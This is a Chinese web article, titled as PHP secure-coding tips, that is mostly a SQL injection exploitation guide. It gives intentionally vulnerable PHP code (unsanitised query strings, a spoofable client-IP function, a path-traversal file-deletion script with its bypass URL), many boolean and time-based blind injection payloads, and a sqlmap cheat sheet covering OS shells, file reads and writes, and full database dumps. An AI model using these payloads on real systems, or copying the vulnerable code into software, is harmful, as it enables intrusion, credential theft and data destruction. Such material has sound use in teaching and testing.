文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

PHP安全编码的技巧有哪些

2023-07-05 00:44

关注

这篇文章主要介绍了PHP安全编码的技巧有哪些的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇PHP安全编码的技巧有哪些文章都会有所收获,下面我们一起来看看吧。

PHP 安全编码总结笔记

SQL注入: 代码中的 HTTP_X_FORWARDED_FOR 地址可以被伪造,而REMOTE_ADDR则相对更安全,有些应用程序会将对方IP地址带入数据库查询是否存在,例如同一个IP每天只能注册一个账号等,如果目标代码中使用的是 HTTP_X_FORWARDED_FOR 获取的IP地址,那么攻击者就可以通过修改HTTP包头实现SQL注入攻击。

<?phpfunction get_client_addr(){if($_SERVER["HTTP_CLIENT_IP"] && strcasecmp($_SERVER["HTTP_CLIENT_IP"],"unknown")){$ip = $_SERVER["HTTP_CLIENT_IP"];echo "HTTP_CLIENT_IP =" . $ip;}else if($_SERVER["HTTP_X_FORWARDED_FOR"] && strcasecmp($_SERVER["HTTP_X_FORWARDED_FOR"], "unknown")){$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];echo "HTTP_X_FORWARDED_FOR =" . $ip;}else if($_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")){$ip = $_SERVER["REMOTE_ADDR"];echo "REMOTE_ADDR =" . $ip;}else{$ip = "unknown";}return $ip;}$addr = get_client_addr();?>

SQL注入: 一种使用了过滤的代码,接受的参数经过过滤,字符串会被过滤掉SQL注入的关键字,整数会被强制转换为整数。

<?php$var = date_default_timezone_get();echo "当前时区: " . $var . "<br>";date_default_timezone_set("Asia/Shanghai");if(!get_magic_quotes_gpc()){$var = waf($_GET['id']);echo "过滤后的参数: " . $var;}function waf($array){if(is_array($array)){foreach ($array as $key => $value) {$array [$key] = waf($value);}}else if(is_string($array)){$array = addslashes($array);#$array = str_ireplace("and", "fuck", $array);$substr = array("and" => "fuck you !","where" => "fuck you !","union" => "fuck you !","select" => "fuck you !","order" => "fuck you !","update" => "fuck you !","sleep" => "fuck you !",);$array = str_ireplace(array_keys($substr), $substr,$array);}else if(is_numeric($array)){$array = intval($array);}return $array;}?>

盲注的使用

首先需要简单修改上方的源代码,去掉回显框,然后修改以下代码.

<!DOCTYPE html><html><head>    <meta charset="gbk">    <title>SQL 注入测试代码</title></head>        <?php        $connect = mysqli_connect("localhost","root","123","lyshark");        if($connect)        {                $id = $_GET['id'];                if(isset($id))                {                        $sql = "select * from users where id='$id' limit 0,1";                        $query = mysqli_query($connect,$sql);                        $row = mysqli_fetch_array($query);                        if(!empty($row))                        {                                print("查询完成了..");                        }else                        {                                print("查询失败");                        }                }        }        ?><body>        <?php echo '<hr><b> 后端执行SQL语句:  </b>' . $sql;  ?></body></html>

猜数据库名称: 盲注也就是程序会返回两种状态,查询成功与查询失败,我们需要自己构建判断条件,常用语句如下.

index.php?id=1' and left(version(),1)=5 --+            // 返回正常,说明版本号是5index.php?id=1' and (length(database()))=7 --+         // 返回正常,说明数据库名字长度是7index.php?id=1' and (left(database(),1))='l' --+       // 返回正常,说明数据库第一位是lindex.php?id=1' and (left(database(),2))='ly' --+      // 返回正常,说明数据库前两位位是ly,以此类推index.php?id=1' and ord(mid((CAST(database() AS CHAR)),1,1))=108 --+  // 验证第一位是否为lindex.php?id=1' and ord(mid((CAST(database() AS CHAR)),2,1))=121 --+  // 验证第二位是否为y,以此类推

猜表名:如果网页返回正常,则说明存在这个表,返回不正常说明不存在.

index.php?id=1' and (select count(*) from mysql.user) >=0     // 存在mysql.user表index.php?id=1' and (select count(*) from lyshark) >=0        // 存在lyshark表

猜字段: 如果网页返回正常,说明存在猜测的字段,不正常则需要继续猜.

index.php?id=1' and (select count(id) from users) >=0       // 返回正常说明存在id字段index.php?id=1' and (select count(name) from users) >=0     // 返回不正常不存在name字段index.php?id=1' and (select count(*) from lyshark) >=3 #--   // 返回表中记录数

用户名猜测: 通过正则符号也可使完成多指定用户的探测,其他函数用法相同.

index.php?id=1' and (length(user())) >=14 #                // 猜测数据库用户名称长度index.php?id=1' and (select user() like 'root%') #         // 猜测用户名index.php?id=1' and (select user() regexp '^[a-z]') #      // 猜测开头a-zindex.php?id=1' and (select user() regexp '^r') #          // 第一位是rindex.php?id=1' and (select user() regexp '^ro') #         // 第二位是oindex.php?id=1' and (select user() regexp '^root') #       // 以此类推猜测前四位

延时注入: 通过sleep(5)延时的方式,我们同样可以判断是否存在注入点.

index.php?id=1' and sleep(5) #index.php?id=1' and sleep(5) order by 3 #                       // 如果是3个字段,则会延时5秒index.php?id=1' and select if(length(user())=0,sleep(3),1) #    //如果user=0则延时3秒index.php?id=1' and if(hex(mid(user(),1,1))=100,sleep(3),1) #   // 第1个字符=d则延时3秒index.php?id=1' and if(hex(mid(user(),1,1))=118,sleep(3),1) #   // 第2个字符=v则延时3秒

◆sqlmap 命令◆

常用检测命令:

sqlmap -u "./index.php?id=1" -v 3                   # 显示攻击载荷sqlmap -u "./index.php?id=1" --level=3              # 指定探测级别sqlmap -u "./index.php?id=1" --privileges           # 测试所有用户权限sqlmap -u "./index.php?id=1" --privileges root      # 测试root用户权限sqlmap -u "./index.php?id=1" --all                  # 查询所有数据库sqlmap -u "./index.php?id=1" --hostname             # 查询当前主机名sqlmap -u "./index.php?id=1" --is-dba               # 判断root权限sqlmap -u "./index.php?id=1" --users                # 枚举数据库用户sqlmap -u "./index.php?id=1" --random-agent         # 随机User-Agentsqlmap -u "./index.php?id=1" --output-dir=""        # 自定义输出目录sqlmap -u "./index.php?id=1" --file-read=""         # 读取文件sqlmap -u "./index.php?id=1" --file-write=""        # 写入操作sqlmap -u "./index.php?id=1" --os-cmd="net user"    # 执行一条命令sqlmap -u "./index.php?id=1" --os-shell             # 交互执行命令sqlmap -u "./index.php?id=1" --sql-query=""         # 执行的SQL语句sqlmap -u "./index.php?id=1" --cookie=""            # 指定cookiesqlmap -u "./index.php?id=1" --temper=""            # 指定过滤脚本sqlmap -u "./index.php?id=1" --dbs --delay 1        # 延时1秒后注入sqlmap -u "./index.php?id=1" --dbs --safe-freq 3    # 延时3秒后注入sqlmap -u "./index.php?id=1" --identify-waf                  # 测试是否有WAFsqlmap -u "./index.php?id=1" --current-db                    # 查询当前数据库sqlmap -u "./index.php?id=1" --current-user                  # 查询当前主机名sqlmap -u "./index.php?id=1" --users                         # 查询所有用户名sqlmap -u "./index.php?id=1" --dbs                           # 列出所有数据库sqlmap -u "./index.php?id=1" --tables                        # 列出所有的表sqlmap -u "./index.php?id=1" -D "mysql" --tables             # 获取mysql库中的表sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --columns  # 获取mysql.host表列名称sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --dump     # 将mysql.host保存到本地sqlmap -u "./index.php?id=1" -D "mysql" --dump-all           # 全部脱裤sqlmap -u "./index.php?id=1" -D "mysql" -T "user" -C "Host,User,Password" --dump

Cookie注入: 当level>=2时,使用cookie注入,level >=3 使用User-agent/Referer注入.

sqlmap -u "./index.php" -v 3 --cookie id=1 --level 2                        #判断注入点sqlmap -u "./index.php" -v 3 --cookie id=1 --dbs --level 2                  #猜数据库名sqlmap -u "./index.php" -v 3 --cookie id=1 --tables --level 2               #猜表名称sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --level 2        #猜字段sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --dump --level 2 #猜内容

POST注入: 该方法通常是使用抓包工具抓取数据包,然后指定字段进行测试即可.

浏览器打开目标地址 http://www.xxx.com/index.php

配置burp代理(127.0.0.1:8080) 准备拦截请求

点击login表单的submit按钮,或者其他按钮均可

这时候Burp会拦截到了我们的登录POST请求

把这个post请求复制为txt,记录下其中的 id=1&Submit=Submit

sqlmap -r post.txt -p id --dbsSqlmap -r post.txt -p id -D mysql --tablesSqlmap -r post.txt -p id -D mysql -T user --columnssqlmap -r post.txt -p id -D mysql -T user -C "User,Password" --dumpsqlmap --dbms "mysql" --method "POST" --data "id=1&cat=2"

其他漏洞利用

任意文件删除: 执行删除语句http://php.com/?dir=.....////&file=a.txt 完成漏洞利用.

<?php$dir = isset($_GET['dir']) && trim($_GET['dir']) ? str_replace(array('..\\', '../', './', '.\\'), '', urldecode(trim($_GET['dir']))) : '';$dir = str_replace("-", "/", $dir);$file = isset($_GET['file']) && trim($_GET['file']) ? trim($_GET['file']) : '';$path = "./" . $dir . "/" . $file;$path = str_replace(array("//"), array("/"), $path);echo "当前路径是: " . $path . "<br>";if (file_exists($path)) {if (unlink($path)) {    echo "删除完成..";} else {    echo "删除失败..";}}?>

关于“PHP安全编码的技巧有哪些”这篇文章的内容就介绍到这里,感谢各位的阅读!相信大家对“PHP安全编码的技巧有哪些”知识都有一定的了解,大家如果还想学习更多知识,欢迎关注编程网行业资讯频道。

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯